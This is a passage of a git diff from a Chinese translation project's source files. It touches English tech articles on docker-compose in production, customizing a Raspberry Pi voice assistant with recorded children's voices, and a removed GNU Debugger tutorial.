afford to have 60 seconds of downtime during a deploy if I want, but usually something goes wrong that I haven’t thought of. - -A few notes from folks on Twitter about docker-compose in production: - - * `docker-compose up` will only restart the containers that need restarting, which makes restarts faster - * there’s a small bash script [wait-for-it][3] that you can use to make a container wait for another service to be available - * You can have 2 docker-compose.yaml files: `docker-compose.yaml` for DEV, and `docker-compose-prod.yaml` for prod. I think I’ll use this to expose different nginx ports: 8999 in dev and 80 in prod. - * folks seemed to agree that docker-compose is fine in production if you have a small website running on 1 computer - * one person suggested that Docker Swarm might be better for a slightly more complicated production setup, but I haven’t tried that (or of course Kubernetes, but the whole point of Docker Compose is that it’s super simple and Kubernetes is certainly not simple :) ) - - - -Docker also seems to have a feature to [automatically deploy your docker-compose setup to ECS][4], which sounds cool in theory but I haven’t tried it. - -### when doesn’t docker-compose work well? - -I’ve heard that docker-compose doesn’t work well: - - * when you have a very large number of microservices (a simple setup is best) - * when you’re trying to include data from a very large database (like putting hundreds of gigabytes of data on everyone’s laptop) - * on Mac computers, I’ve heard that Docker can be a lot slower than on Linux (presumably because of the extra VM). I don’t have a Mac so I haven’t run into this. - - - -### that’s all! - -I spent an entire day before this trying to configure a dev environment by using Puppet to provision a Vagrant virtual machine only to realize that VMs are kind of slow to start and that I don’t really like writing Puppet configuration (I know, huge surprise :)). - -So it was nice to try Docker Compose and find that it was straightforward to get to work! - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2021/01/04/docker-compose-is-nice/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://jvns.ca/#cool-computer-tools---features---ideas -[2]: https://github.com/yudai/gotty/ -[3]: https://github.com/vishnubob/wait-for-it -[4]: https://docs.docker.com/cloud/ecs-integration/ diff --git a/sources/tech/20210105 How to customize your voice assistant with the voice of your choice.md b/sources/tech/20210105 How to customize your voice assistant with the voice of your choice.md index 51f86d0519..85be02276b 100644 --- a/sources/tech/20210105 How to customize your voice assistant with the voice of your choice.md +++ b/sources/tech/20210105 How to customize your voice assistant with the voice of your choice.md @@ -1,21 +1,23 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to customize your voice assistant with the voice of your choice) -[#]: via: (https://opensource.com/article/21/1/customize-voice-assistant) -[#]: author: (Rich Lucente https://opensource.com/users/rlucente) +[#]: subject: "How to customize your voice assistant with the voice of your choice" +[#]: via: "https://opensource.com/article/21/1/customize-voice-assistant" +[#]: author: "Rich Lucente https://opensource.com/users/rlucente" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " How to customize your voice assistant with the voice of your choice ====== -The Nana and Poppy project enables a voice assistant to greet users with -their great-grandchildren's voices instead of a generic AI. +The Nana and Poppy project enables a voice assistant to greet users with their great-grandchildren's voices instead of a generic AI. + ![radio communication signals][1] +Image by: [Internet Archive Book Images][2]. Modified by Opensource.com. [CC BY-SA 4.0][3] + It can be hard to find meaningful gifts for relatives that already have almost everything. My wife and I have given our parents "experiences" to try something novel, such as going to a themed restaurant or seeing a concert, but as our parents get older, it becomes more difficult. This year was no exception—until I thought about a way open source could give them something really special. -What if when they request help from an artificial intelligence (AI) voice assistant such as [Mycroft][2], my in-laws could get a special greeting? I looked at the existing voice assistant APIs to see if something like this was already available. There was something close, but not exactly what I was looking for. My idea was to record their great-grandchildren speaking a short greeting that would play whenever they push the button and before the conversation with the voice assistant begins. The greeting would be something like: +What if when they request help from an artificial intelligence (AI) voice assistant such as [Mycroft][4], my in-laws could get a special greeting? I looked at the existing voice assistant APIs to see if something like this was already available. There was something close, but not exactly what I was looking for. My idea was to record their great-grandchildren speaking a short greeting that would play whenever they push the button and before the conversation with the voice assistant begins. The greeting would be something like: > "Good morning, Nana and Poppy. Today is December 25th. The time is 3:10 pm. The current temperature for Waynesboro is 47 degrees. The current temperature for Ocean City is 50 degrees." @@ -25,168 +27,166 @@ When they press the button, my in-laws would hear their great-grandchildren repo The first problem was figuring out what phrases the voice assistant would need to say. Thinking about all the dates, times, and temperatures that I would need to cover, I arrived at a list of 79 phrases. I sent these instructions to my nieces: -> _Please record the kids saying each line below. Sorry there are so many. It's okay to do this in one setting with prompting them if it makes it easier. I can edit the audio files and deal with most formats, so none of that should be a problem. Just record using your phone in whatever way is easiest._ -> -> _Make sure that the kids say each line clearly and loudly. There should be a slight pause between each line to make editing easier (prompting helps like "Repeat after me …"). That will make it easier for me to chop these up into individual sound files._ -> -> _Whenever the button on the device is pushed, it will respond with a random grandchild saying the correct date/time/temperature, like:_ -> -> _"Good afternoon, Nana and Poppy. Today is January third. The time is one oh four pm. The current temperature for Waynesboro is thirty degrees. The current temperature for Ocean City is thirty four degrees."_ -> -> _PLEASE RECORD EACH CHILD SAYING THE FOLLOWING PHRASES WITH A SHORT PAUSE BETWEEN EACH ONE:_ +> Please record the kids saying each line below. Sorry there are so many. It's okay to do this in one setting with prompting them if it makes it easier. I can edit the audio files and deal with most formats, so none of that should be a problem. Just record using your phone in whatever way is easiest. + +> Make sure that the kids say each line clearly and loudly. There should be a slight pause between each line to make editing easier (prompting helps like "Repeat after me …"). That will make it easier for me to chop these up into individual sound files.* + +> Whenever the button on the device is pushed, it will respond with a random grandchild saying the correct date/time/temperature, like: "Good afternoon, Nana and Poppy. Today is January third. The time is one oh four pm. The current temperature for Waynesboro is thirty degrees. The current temperature for Ocean City is thirty four degrees." + +> PLEASE RECORD EACH CHILD SAYING THE FOLLOWING PHRASES WITH A SHORT PAUSE BETWEEN EACH ONE: Then I provided the following list of words for the children to record: -_Good -morning -afternoon -evening -night_ +(这个表格有问题,待修复) -_Nana and Poppy_ +| - | - | - | +| :- | :- | :- | +| Good + morning + afternoon + evening + night +Nana and Poppy +The time + Today  + The current temperature for + Waynesboro + Ocean City + is + and + degrees + minus +am + pm +January + February + March + April + May | June + July + August + September + October + November + December + first + second + third + fourth + fifth + sixth + seventh + eighth + ninth + tenth + eleventh + twelfth + thirteenth + fourteenth + fifteenth + sixteenth + seventeenth + eighteenth + nineteenth + twentieth + thirtieth + oh | one + two + three + four + five + six + seven + eight + nine + ten + eleven + twelve + thirteen + fourteen + fifteen + sixteen + seventeen + eighteen + nineteen + twenty + thirty + forty + fifty + sixty + seventy + eighty + ninety + hundred | -_The time -Today  -The current temperature for -Waynesboro -Ocean City -is -and -degrees -minus_ +*Nana and Poppy* -_am -pm_ +*The time + Today  + The current temperature for + Waynesboro + Ocean City + is + and + degrees + minus* -_January -February -March -April -May_ +*am + pm* -| _June -July -August -September -October -November -December -first -second -third -fourth -fifth -sixth -seventh -eighth -ninth -tenth -eleventh -twelfth -thirteenth -fourteenth -fifteenth -sixteenth -seventeenth -eighteenth -nineteenth -twentieth -thirtieth -oh_ | _one -two -three -four -five -six -seven -eight -nine -ten -eleven -twelve -thirteen -fourteen -fifteen -sixteen -seventeen -eighteen -nineteen -twenty -thirty -forty -fifty -sixty -seventy -eighty -ninety -hundred_ ----|---|--- +*January + February + March + April + May* My nieces are doubly blessed with children under 10 years old and near-infinite patience. So, after a couple of months of prodding, I received a three-minute audio file for each child. -Now my problem was how to edit them. I needed to normalize the recordings, reduce noise, and chop them into audio clips for individual words and phrases. I also wanted to take advantage of lossless audio, and I decided to convert the tracks to Waveform Audio File Format ([WAV][3]). Audacity was just the open source tool to do all of that. +Now my problem was how to edit them. I needed to normalize the recordings, reduce noise, and chop them into audio clips for individual words and phrases. I also wanted to take advantage of lossless audio, and I decided to convert the tracks to Waveform Audio File Format ([WAV][5]). Audacity was just the open source tool to do all of that. ### Audacity to the rescue! -[Audacity][4] is a feature-rich open source sound-editing tool. The software's features and capabilities can be overwhelming, so I'll describe the workflow I followed to accomplish my goals. I make no claims to being an Audacity expert, but the steps I followed seemed to work pretty well. (Comments are always welcome on how to improve what I've done.) +[Audacity][6] is a feature-rich open source sound-editing tool. The software's features and capabilities can be overwhelming, so I'll describe the workflow I followed to accomplish my goals. I make no claims to being an Audacity expert, but the steps I followed seemed to work pretty well. (Comments are always welcome on how to improve what I've done.) -Audacity has [downloads][5] for Linux, Windows, and macOS. I grabbed the most recent macOS binary and quickly installed it on my laptop. Launching Audacity opens an empty new project. I imported all of the children's audio files using the **Import** feature. +Audacity has [downloads][7] for Linux, Windows, and macOS. I grabbed the most recent macOS binary and quickly installed it on my laptop. Launching Audacity opens an empty new project. I imported all of the children's audio files using the **Import** feature. -![Import audio files in Audacity][6] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Import audio files in Audacity][8] #### Normalizing audio files Some of the children spoke louder than others, so the various audio files had different volume levels. I needed to normalize the audio tracks so that the greeting's volume would be the same regardless of which child was speaking. To normalize the volumes, I began by selecting all of the audio tracks after they were imported. -![Selecting all the audio tracks][8] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Selecting all the audio tracks][9] To normalize the children's peaks and valleys, so one child wasn't louder than the other, I used Audacity's **Normalize** effect. -![Normalize effect][9] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Normalize effect][10] It's important to understand that the Normalize and Amplify effects do very different things. Normalize adjusts the highest peaks and lowest valleys for multiple tracks, so they are all similar, whereas Amplify exaggerates the existing peaks and valleys. If I had used Amplify instead of Normalize, the louder child would have become even louder. I used the default settings to normalize the two audio tracks. -![Normalize defaults][10] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Normalize defaults][11] #### Remove background noise -Another thing I noticed is that there was noise between the spoken phrases on the tracks. Audacity has tooling to help reduce background noise and result in much cleaner audio. To reduce noise, select a sample of an audio track with background noise. I used the **View->Zoom** menu option to see the track's noise more easily. +Another thing I noticed is that there was noise between the spoken phrases on the tracks. Audacity has tooling to help reduce background noise and result in much cleaner audio. To reduce noise, select a sample of an audio track with background noise. I used the **View->Zoom** menu option to see the track's noise more easily. -![Background noise sample][11] +![Background noise sample][12] -(Rich Lucente, [CC BY-SA 4.0][7]) +To make sure I selected only the background noise, I listened to the selected audio clip using the **Play** button in the toolbar. Next, I selected **Effect->Noise Reduction**. -To make sure I selected only the background noise, I listened to the selected audio clip using the **Play** button in the toolbar. Next, I selected **Effect->Noise Reduction**. - -![Noise Reduction effect][12] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Noise Reduction effect][13] Then I created a **Noise Profile** using step 1 in the **Noise Reduction** dialog. -![Get a Noise Profile from audio sample][13] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Get a Noise Profile from audio sample][14] Audacity characterizes the background noise in the audio sample so that it can be removed. To remove the background noise, I selected the entire audio track by pressing the small **Select** button to the left of the track. -![Select whole audio track button][14] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Select whole audio track button][15] I applied the **Noise Reduction** effect again, but this time I pressed **OK** in step 2 of the dialog. I accepted the default settings. -![Noise Reduction effect step 2][15] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Noise Reduction effect step 2][16] I repeated these steps for each child's audio track, so I had normalized audio tracks, and the background noise was characterized and removed. @@ -194,110 +194,106 @@ I repeated these steps for each child's audio track, so I had normalized audio t The remaining task was to zoom and scroll through each track and export the specific clips as separate audio files in WAV format. When working with one child's track, I needed to mute the other tracks using either the small **Mute** button to the left of each audio track or, since there were so many tracks, selecting the **Solo** button for the track I wanted to work with. -![Mute and Solo buttons for multiple tracks][16] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Mute and Solo buttons for multiple tracks][17] Selecting each word and phrase can be tricky, but the ability to zoom into an audio track was my friend. I tried to set each audio clip's start and end to just before and just after the word or phrase being spoken. Before exporting any audio clips, I played the selected clip using the **Play** icon on the toolbar to make sure I got it all. One interesting thing is how waveforms map to spoken words. The waveforms for "six" and "sixth" are incredibly similar, with the latter having a smaller audio waveform to the right for the "th" sound. I carefully tested each clip before exporting it to make sure I had captured the full word or phrase. -After selecting an audio clip for a word or phrase, I exported the selected audio using the **File->Export** menu. +After selecting an audio clip for a word or phrase, I exported the selected audio using the **File->Export** menu. -![Exporting selected audio][17] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Exporting selected audio][18] I had to make sure to save each clip using the correct file name from the list of words and phrases. This is because the application I used to customize the voice assistant expects the file name to match an entry in the phrase list. The expected file names for the audio clips (without the .wav extension) are listed below. Note the underscores within the phrases. If you're doing this project, adjust the bold file names to match your loved ones' nicknames and location preferences. You'll also have to make the same changes in the application source code. -_good -morning -afternoon -evening -night -**nana_and_poppy** -the_time -today -the_current_temperature_for -**waynesboro -ocean_city** -is -and -degrees -minus -am -pm -january -february -march -april -may -june -july -august -september -october_ | _november -december -first -second -third -fourth -fifth -sixth -seventh -eighth -ninth -tenth -eleventh -twelfth -thirteenth -fourteenth -fifteenth -sixteenth -seventeenth -eighteenth -nineteenth -twentieth -thirtieth -oh -one -two_ | _three -four -five -six -seven -eight -nine -ten -eleven -twelve -thirteen -fourteen -fifteen -sixteen -seventeen -eighteen -nineteen -twenty -thirty -forty -fifty -sixty -seventy -eighty -ninety -hundred_ ----|---|--- +(这个表格有问题,待修正) +| - | - | - | +| :- | :- | :- | +| good + morning + afternoon + evening + night + nana_and_poppy + the_time + today + the_current_temperature_for + waynesboro + ocean_city + is + and + degrees + minus + am + pm + january + february + march + april + may + june + july + august + september + october | november + december + first + second + third + fourth + fifth + sixth + seventh + eighth + ninth + tenth + eleventh + twelfth + thirteenth + fourteenth + fifteenth + sixteenth + seventeenth + eighteenth + nineteenth + twentieth + thirtieth + oh + one + two | three + four + five + six + seven + eight + nine + ten + eleven + twelve + thirteen + fourteen + fifteen + sixteen + seventeen + eighteen + nineteen + twenty + thirty + forty + fifty + sixty + seventy + eighty + ninety + hundred | This project's GitHub repository also includes a Bash script to run as a sanity check for any missing or misnamed files. After choosing each clip's appropriate name, I saved the clip in the child's specific folder (child1, child2, etc.) as a WAV format file. I accepted the default export settings. -![Converting clip to WAV format][18] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Converting clip to WAV format][19] After exporting all the audio clips, I had a folder for each child that was fully populated with WAV files for the phrases above. This seems like a lot of work, but it took only about 90 minutes for each child, and I got way more efficient with each successive audio clip. @@ -305,22 +301,19 @@ After exporting all the audio clips, I had a folder for each child that was full Now that I had the audio clips for the greeting, I needed to think about the application and how to package it. I also wanted an open source-friendly solution that was open to modification. -About two years ago, a colleague gave me a [Google AIY Voice Kit][19] that he grabbed from the clearance bin for just $10. It's a cleverly folded box containing a speaker, microphone, and custom circuit board. You supply a Raspberry Pi and quickly have a do-it-yourself Google voice assistant. These kits are available for purchase online and in electronics stores. This small box offered an easy way to package the project. +About two years ago, a colleague gave me a [Google AIY Voice Kit][20] that he grabbed from the clearance bin for just $10. It's a cleverly folded box containing a speaker, microphone, and custom circuit board. You supply a Raspberry Pi and quickly have a do-it-yourself Google voice assistant. These kits are available for purchase online and in electronics stores. This small box offered an easy way to package the project. -![Google AIY Voice Kit][20] - -(Rich Lucente, [CC BY-SA 4.0][7]) +![Google AIY Voice Kit][21] ### Customize the voice assistant -The Google kit includes a Python API and several Python modules. I followed the kit's instructions to get the initial configuration working. The [Google Assistant gRPC][21] software is open source under an Apache 2.0 license. +The Google kit includes a Python API and several Python modules. I followed the kit's instructions to get the initial configuration working. The [Google Assistant gRPC][22] software is open source under an Apache 2.0 license. I adapted the Google Assistant gRPC demo to implement my application. The application's operation is fairly simple: First, it waits for the device's button to be pressed. The code then constructs four separate word lists for: 1. the greeting and date, 2. the current time, 3. the current temperature of the first location, and 4. the current temperature of the second location. The children's voices are randomly shuffled, and then each word list is used to play the audio clips corresponding to the child assigned to that list. (This is why it was important to strictly follow the naming convention for the audio clips.) The application then initiates a conversation with the Google Assistant API. At first, I thought the code to gather weather data for the current temperature and convert numbers to words would be challenging. This proved not to be the case at all. In fact, existing open source Python modules made it all simple and intuitive. -There were two cases to be addressed for converting numbers to word lists: I needed to convert ordinal numbers to words (e.g., 1 and 2 to first and second), and I also needed to convert cardinal numbers to words (e.g., 28 to twenty-eight). The open source [inflect.py module][22] has functions that handle both cases quite easily. - +There were two cases to be addressed for converting numbers to word lists: I needed to convert ordinal numbers to words (e.g., 1 and 2 to first and second), and I also needed to convert cardinal numbers to words (e.g., 28 to twenty-eight). The open source [inflect.py module][23] has functions that handle both cases quite easily. ``` import inflect @@ -337,8 +330,7 @@ print(p.number_to_words(p.ordinal(number)).replace('-', ' ').split(' ')) The inflect engine returns string representations of the numbers with embedded hyphens (e.g., twenty-three) so that the code splits the strings into variable-length word lists by converting the hyphens to spaces and splitting the string into a list using a space as the delimiter. -The next problem to solve was getting the current temperature for the two locations. [Open Weather Map][23] offers a free-tier weather service that allows up to 60 calls a minute or 1 million calls a month, which is way more than this project needs. I signed up for the free-tier service and received an API key. It was very easy to access the service by using the open source Python wrapper module [PyOWM][24]. Here is a simplified code snippet: - +The next problem to solve was getting the current temperature for the two locations. [Open Weather Map][24] offers a free-tier weather service that allows up to 60 calls a minute or 1 million calls a month, which is way more than this project needs. I signed up for the free-tier service and received an API key. It was very easy to access the service by using the open source Python wrapper module [PyOWM][25]. Here is a simplified code snippet: ``` import pyowm @@ -359,46 +351,49 @@ temp = round(observation.weather.temperature('fahrenheit')['temp']) ### Wrapping it up with a bow -The full source code for the project is available in my [GitHub repository][25]. The project includes a systemd service unit file adapted from Google's demo to automatically start the application on device boot. The GitHub repository includes instructions to install the Python modules and configure the systemd service. +The full source code for the project is available in my [GitHub repository][26]. The project includes a systemd service unit file adapted from Google's demo to automatically start the application on device boot. The GitHub repository includes instructions to install the Python modules and configure the systemd service. -I created a [short video][26] of the result. Five custom voice assistants were distributed during the holidays: one each for the great grandparents and grandparents of each child. For some, these gifts brought tears of joy. The children's voices are absolutely adorable and these boxes capture a fleeting moment of childhood that can be enjoyed for a very long time. +I created a [short video][27] of the result. Five custom voice assistants were distributed during the holidays: one each for the great grandparents and grandparents of each child. For some, these gifts brought tears of joy. The children's voices are absolutely adorable and these boxes capture a fleeting moment of childhood that can be enjoyed for a very long time. + +Image by: (Rich Lucente, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/1/customize-voice-assistant 作者:[Rich Lucente][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/rlucente -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/sound-radio-noise-communication.png?itok=KMNn9QrZ (radio communication signals) -[2]: https://opensource.com/article/20/7/mycroft-voice-skill -[3]: https://en.wikipedia.org/wiki/WAV -[4]: https://www.audacityteam.org/ -[5]: https://www.audacityteam.org/download/ -[6]: https://opensource.com/sites/default/files/uploads/audacity1_importaudio.png (Import audio files in Audacity) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://opensource.com/sites/default/files/uploads/audacity2_selectingtracks.png (Selecting all the audio tracks) -[9]: https://opensource.com/sites/default/files/uploads/audacity3_normalize.png (Normalize effect) -[10]: https://opensource.com/sites/default/files/uploads/audacity4_normalizedefaults.png (Normalize defaults) -[11]: https://opensource.com/sites/default/files/uploads/audacity5_backgroundnoise.png (Background noise sample) -[12]: https://opensource.com/sites/default/files/uploads/audacity6_noisereduction.png (Noise Reduction effect) -[13]: https://opensource.com/sites/default/files/uploads/audacity7_noiseprofile.png (Get a Noise Profile from audio sample) -[14]: https://opensource.com/sites/default/files/uploads/audacity8_selecttrack.png (Select whole audio track button) -[15]: https://opensource.com/sites/default/files/uploads/audacity9_noisereduction2.png (Noise Reduction effect step 2) -[16]: https://opensource.com/sites/default/files/uploads/audacity10_mutesolo.png (Mute and Solo buttons for multiple tracks) -[17]: https://opensource.com/sites/default/files/uploads/audacity11_exportaudio.png (Exporting selected audio) -[18]: https://opensource.com/sites/default/files/uploads/audacity12_convertwav.png (Converting clip to WAV format) -[19]: https://aiyprojects.withgoogle.com/voice/ -[20]: https://opensource.com/sites/default/files/uploads/googleaiy.png (Google AIY Voice Kit) -[21]: https://pypi.org/project/google-assistant-grpc/ -[22]: https://pypi.org/project/inflect -[23]: https://openweathermap.org/ -[24]: https://pypi.org/project/pyowm -[25]: https://github.com/rlucente-se-jboss/nana-poppy-project -[26]: https://youtu.be/Co7rigJRNUM +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/sound-radio-noise-communication.png +[2]: https://www.flickr.com/photos/internetarchivebookimages/14571450820/in/photolist-ocCuEG-otg1AX-hPy8JE-oc9YmN-oeUU2C-8cKWej-hQz72S-rpae2k-ocNYbT-oxbPTB-odGRsQ-ouDBo1-i5GTL8-qscJfA-idDrfk-i5D6oK-6K6iNH-ouxpn7-i8SivQ-oeY1eG-i7HGbT-bqXPhH-hN5on7-i9Q8YD-ouFYDw-fpy7Lo-oeSJo1-otqUu4-hNaVhf-oydqAV-owur2M-owkTSD-oydSWR-ocayce-ovFdYk-ocdaeL-ouE9UP-zmmrhp-qxtozB-ouqnSQ-obYbwS-odrnXt-ousXXw-ocA6Uo-owme9S-ouACY2-ocajY1-oeUJQG-ouryBk-ouxMJb +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/article/20/7/mycroft-voice-skill +[5]: https://en.wikipedia.org/wiki/WAV +[6]: https://www.audacityteam.org/ +[7]: https://www.audacityteam.org/download/ +[8]: https://opensource.com/sites/default/files/uploads/audacity1_importaudio.png +[9]: https://opensource.com/sites/default/files/uploads/audacity2_selectingtracks.png +[10]: https://opensource.com/sites/default/files/uploads/audacity3_normalize.png +[11]: https://opensource.com/sites/default/files/uploads/audacity4_normalizedefaults.png +[12]: https://opensource.com/sites/default/files/uploads/audacity5_backgroundnoise.png +[13]: https://opensource.com/sites/default/files/uploads/audacity6_noisereduction.png +[14]: https://opensource.com/sites/default/files/uploads/audacity7_noiseprofile.png +[15]: https://opensource.com/sites/default/files/uploads/audacity8_selecttrack.png +[16]: https://opensource.com/sites/default/files/uploads/audacity9_noisereduction2.png +[17]: https://opensource.com/sites/default/files/uploads/audacity10_mutesolo.png +[18]: https://opensource.com/sites/default/files/uploads/audacity11_exportaudio.png +[19]: https://opensource.com/sites/default/files/uploads/audacity12_convertwav.png +[20]: https://aiyprojects.withgoogle.com/voice/ +[21]: https://opensource.com/sites/default/files/uploads/googleaiy.png +[22]: https://pypi.org/project/google-assistant-grpc/ +[23]: https://pypi.org/project/inflect +[24]: https://openweathermap.org/ +[25]: https://pypi.org/project/pyowm +[26]: https://github.com/rlucente-se-jboss/nana-poppy-project +[27]: https://youtu.be/Co7rigJRNUM diff --git a/sources/tech/20210107 A hands-on tutorial for using the GNU Project Debugger.md b/sources/tech/20210107 A hands-on tutorial for using the GNU Project Debugger.md deleted file mode 100644 index 422cb3821d..0000000000 --- a/sources/tech/20210107 A hands-on tutorial for using the GNU Project Debugger.md +++ /dev/null @@ -1,655 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (Starryi) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A hands-on tutorial for using the GNU Project Debugger) -[#]: via: (https://opensource.com/article/21/1/gnu-project-debugger) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) - -A hands-on tutorial for using the GNU Project Debugger -====== -The GNU Project Debugger is a powerful tool for finding bugs in -programs. -![magnifying glass on computer screen, finding a bug in the code][1] - -If you're a programmer and you want to put a certain functionality in your software, you start by thinking of ways to implement it—such as writing a method, defining a class, or creating new data types. Then you write the implementation in a language that the compiler or interpreter can understand. But what if the compiler or interpreter does not understand the instructions as you had them in mind, even though you're sure you did everything right? What if the software works fine most of the time but causes bugs in certain circumstances? In these cases, you have to know how to use a debugger correctly to find the source of your troubles. - -The GNU Project Debugger ([GDB][2]) is a powerful tool for finding bugs in programs. It helps you uncover the reason for an error or crash by tracking what is going on inside the program during execution. - -This article is a hands-on tutorial on basic GDB usage. To follow along with the examples, open the command line and clone this repository: - - -``` -`git clone https://github.com/hANSIc99/core_dump_example.git` -``` - -### Shortcuts - -Every command in GDB can be shortened. For example, `info break`, which shows the set breakpoints, can be shortened to `i break`. You might see those abbreviations elsewhere, but in this article, I will write out the entire command so that it is clear which function is used. - -### Command-line parameters - -You can attach GDB to every executable. Navigate to the repository you cloned, and compile it by running `make`. You should now have an executable called **coredump**. (See my article on [_Creating and debugging Linux dump files_][3] for more information.. - -To attach GDB to the executable, type: `gdb coredump`. - -Your output should look like this: - -![gdb coredump output][4] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -It says no debugging symbols were found. - -Debugging information is part of the object file (the executable) and includes data types, function signatures, and the relationship between the source code and the opcode. At this point, you have two options: - - * Continue debugging the assembly (see "[Debug without symbols][6]" below) - * Compile with debug information using the information in the next section - - - -### Compile with debug information - -To include debug information in the binary file, you have to recompile it. Open the **Makefile** and remove the hashtag (`#`) from line 9: - - -``` -`CFLAGS =-Wall -Werror -std=c++11 -g` -``` - -The `g` option tells the compiler to include the debug information. Run `make clean` followed by `make` and invoke GDB again. You should get this output and can start debugging the code: - -![GDB output with symbols][7] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The additional debugging information will increase the size of the executable. In this case, it increases the executable by 2.5 times (from 26,088 byte to 65,480 byte). - -Start the program with the `-c1` switch by typing `run -c1`. The program will start and crash when it reaches `State_4`: - -![gdb output crash on c1 switch][8] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -You can retrieve additional information about the program. The command `info source` provides information about the current file: - -![gdb info source output][9] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - - * 101 lines - * Language: C++ - * Compiler (version, tuning, architecture, debug flag, language standard) - * Debugging format: [DWARF 2][10] - * No preprocessor macro information available (when compiled with GCC, macros are available only when [compiled with the `-g3` flag][11]). - - - -The command `info shared` prints a list of dynamic libraries with their addresses in the virtual address space that was loaded on startup so that the program will execute: - -![gdb info shared output][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -If you want to learn about library handling in Linux, see my article [_How to handle dynamic and static libraries in Linux_][13]. - -### Debug the program - -You may have noticed that you can start the program inside GDB with the `run` command. The `run` command accepts command-line arguments like you would use to start the program from the console. The `-c1` switch will cause the program to crash on stage 4. To run the program from the beginning, you don't have to quit GDB; simply use the `run` command again. Without the `-c1` switch, the program executes an infinite loop. You would have to stop it with **Ctrl+C**. - -![gdb output stopped by sigint][14] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -You can also execute a program step by step. In C/C++, the entry point is the `main` function. Use the command `list main` to open the part of the source code that shows the `main` function: - -![gdb output list main][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -The `main` function is on line 33, so add a breakpoint there by typing `break 33`: - -![gdb output breakpoint added][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -Run the program by typing `run`. As expected, the program stops at the `main` function. Type `layout src` to show the source code in parallel: - -![gdb output break at main][17] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -You are now in GDB's text user interface (TUI) mode. Use the Up and Down arrow keys to scroll through the source code. - -GDB highlights the line to be executed. By typing `next` (n), you can execute the commands line by line. GBD executes the last command if you don't specify a new one. To step through the code, just hit the **Enter** key. - -From time to time, you will notice that TUI's output gets a bit corrupted: - -![gdb output corrupted][18] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -If this happens, press **Ctrl+L** to reset the screen. - -Use **Ctrl+X+A** to enter and leave TUI mode at will. You can find [other key bindings][19] in the manual. - -To quit GDB, simply type `quit`. - -### Watchpoints - -The heart of this example program consists of a state machine running in an infinite loop. The variable `n_state` is a simple enum that determines the current state: - - -``` -while(true){ -        switch(n_state){ -        case State_1: -                std::cout << "State_1 reached" << std::flush; -                n_state = State_2; -                break; -        case State_2: -                std::cout << "State_2 reached" << std::flush; -                n_state = State_3; -                break; -        -        (.....) -        -        } -} -``` - -You want to stop the program when `n_state` is set to the value `State_5`. To do so, stop the program at the `main` function and set a watchpoint for `n_state`: - - -``` -`watch n_state == State_5` -``` - -Setting watchpoints with the variable name works only if the desired variable is available in the current context. - -When you continue the program's execution by typing `continue`, you should get output like: - -![gdb output stop on watchpoint_1][20] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -If you continue the execution, GDB will stop when the watchpoint expression evaluates to `false`: - -![gdb output stop on watchpoint_2][21] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -You can specify watchpoints for general value changes, specific values, and read or write access. - -### Altering breakpoints and watchpoints - -Type `info watchpoints` to print a list of previously set watchpoints: - -![gdb output info watchpoints][22] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -#### Delete breakpoints and watchpoints - -As you can see, watchpoints are numbers. To delete a specific watchpoint, type `delete` followed by the number of the watchpoint. For example, my watchpoint has the number 2; to remove this watchpoint, enter `delete 2`. - -_Caution:_ If you use `delete` without specifying a number, _all_ watchpoints and breakpoints will be deleted. - -The same applies to breakpoints. In the screenshot below, I added several breakpoints and printed a list of them by typing `info breakpoint`: - -![gdb output info breakpoints][23] - -(Stephan Avenwedde, [CC BY-SA 4.0][5]) - -To remove a single breakpoint, type `delete` followed by its number. Alternatively, you can remove a breakpoint by specifying its line number. For example, the command `clear 78` will remove breakpoint number 7, which is set on line 78. - -#### Disable or enable breakpoints and watchpoints - -Instead of removing a breakpoint or watchpoint, you can disable it by typing `disable` followed by its number. In the following, 